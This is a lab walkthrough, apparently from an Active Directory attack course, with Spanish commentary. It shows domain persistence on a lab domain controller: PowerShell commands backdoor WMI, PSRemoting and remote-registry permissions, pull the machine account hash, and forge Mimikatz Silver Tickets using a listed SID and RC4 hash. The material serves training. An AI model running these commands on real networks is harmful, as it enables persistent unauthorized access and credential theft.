# 13. Domain Persistence Part 5 ## Learning Objective 13 - Modify security descriptors on dcorp-dc to get access using PowerShell remoting and WMI without requiring administrator access. - Retrieve machine account hash from dcorp-dc without using administrator access and use that to execute a Silver Ticket attack to get code execution with WMI. Solución Una vez que tenemos privilegios administrativos en una máquina, podemos modificar los descriptores de seguridad de los servicios para acceder a los servicios sin privilegios administrativos. El siguiente comando (que debe ejecutarse como Administrador de Dominio Administrator) modifica los descriptores de seguridad del host para WMI en el DC para permitir el acceso de studentx a WMI: ``` PS C:\AD\Tools> . .\Set-RemoteWMI.ps1 PS C:\AD\Tools> Set-RemoteWMI -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose ``` Ahora, podemos ejecutar consultas WMI en el DC como studentx: ``` PS C:\AD\Tools> gwmi -class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local ``` Se puede hacer una modificación similar en la configuración de PowerShell remoting. (En casos raros, puede obtener un error de E/S al utilizar el siguiente comando, por favor ignórelo): ``` PS C:\AD\Tools> . .\Set-RemotePSRemoting.ps1 PS C:\AD\Tools> Set-RemotePSRemoting -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose ``` Ahora, podemos ejecutar comandos usando PowerShell remoting en el DC sin privilegios DA: ``` PS C:\AD\Tools> Invoke-Command -ScriptBlock{whoami} -ComputerName dcorp-dc.dollarcorp.moneycorp.local ``` Para recuperar el hash de la cuenta de la máquina sin DA, primero tenemos que modificar los permisos en el DC: ``` PS C:\AD\Tools> . .\DAMP-master\Add-RemoteRegBackdoor.ps1 PS C:\AD\Tools> Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee studentx -Verbose ``` Ahora, podemos recuperar el hash como estudiantex: ``` PS C:\AD\Tools> . .\DAMP-master\RemoteHashRetrieval.ps1 PS C:\AD\Tools> Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose ``` Y por último, crear Silver Tickets para HOST y RPCSS utilizando el hash de la cuenta de la máquina para ejecutar las consultas WMI: ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710c /user:Administrator /ptt"' ``` ``` mimikatz(powershell) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt ``` ``` PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"' ``` ``` mimikatz(powershell) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt ``` ``` PS C:\AD\Tools> gwmi -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local ```